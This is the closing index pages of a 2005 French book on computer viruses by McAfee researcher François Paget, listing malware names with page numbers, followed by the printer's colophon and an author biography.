W32/PrettyPack@MM 72, 206 W32/Sabia.prc 79 W32/Sasser.worm 208 W32/Simile 130 W32/Sircam@MM 80, 81, 205, 206, 280 W32/Ska@M 72, 204, 206 W32/Smibag.worm 209 W32/Sobig@MM 14, 80, 81, 283 W32/SQLSlammer 81 W32/SQLSlammer.worm 101, 208, 269 W32/SUK 225 W32/Suppl@M 206 W32/Swen@MM 80, 82 W32/Torvil@MM 210 W32/Ultimax.worm 30 W32/Urbe@MM 207 W32/Yaha@MM 80, 105 W32/Yarner@MM 224 W32/Zmist 225 W95/Anxiety 161, 175 W95/Babylonia@M 284 W95/Boza 66, 173 W95/CIH 70, 72, 107, 223 W95/Fono 207 W95/Kuang 278 W95/Marburg 180 W95/MTX 106 W95/Padania 179 W95/Parvo@MM 98 W95/Weird 278 W97M/AntiMarc@MM 98, 195 W97M/Class 68, 72, 75 W97M/Coldape 71, 196 W97M/Cross 218 W97M/Eight941 123 W97M/Ethan 72 W97M/Groov 68, 71 W97M/Jim@MM 199 W97M/Lucia 198 W97M/MARKER 72 W97M/Melissa@MM 72, 74, 197 W97M/Mimir@MM 197, 198 W97M/Moridin@MM 199 W97M/Nail@MM 197
310
W97M/NightShade 67 W97M/PolyPoster@MM 195 W97M/Wazzu 67 Welchia 81 Whale 57 WildList 63, 93 Win32/HLLP.DeTroie 278 Winvir_1_4 61 WM/CAP 69, 72, 216 WM/Colors 215 WM/Concept 65, 69, 215 WM/Futurenot 216
WM/Hassle 216 WM/Inexist 69 WM/Johnny 123 WM/MDMA 69, 215 WM/NPAD 69 WM/Rapi 123 WM/Sharefun@MM 98, 195 WM/Wazzu 69, 215 WormNET 283 Worms Against Nuclear Killers 44
X
X97M/Laroux 216 X97M/Papa@MM 98, 197 XF/Paix 68, 69, 217 XM/Laroux 67, 216
Z
zombie 33 Zulu 78
48311 - (I) - (1,5 + 0,3) - OSB 100 - STY - API Achev dimprimer sur les presses de SNEL Grafics sa rue Saint-Vincent 12 B-4020 Lige Tl +32(0)4 344 65 60 - Fax +32(0)4 341 48 41 mai 2005 34608
INFOPRO
MANAGEMENT DES SYSTMES D'INFORMATION APPLICATIONS MTIERS TUDES, DVELOPPEMENT, INTGRATION EXPLOITATION ET ADMINISTRATION
Franois Paget
FRANOIS PAGET Franois Paget est chercheur anti-virus depuis bientt quinze ans. Il est membre fondateur du groupe AVERT (Anti-virus and Vulnerability Emergency Response Team) au sein de McAfee. Au niveau europen, il est membre de lEICAR (European Institute of Computer Anti-Virus Research). Avec dautres professionnels du monde entier, il participe aux travaux de divers forums techniques dont celui de la Wildlist qui a pour but de recenser l'ensemble des virus actifs au niveau mondial
ISBN 2 10 008311 2
www.dunod.com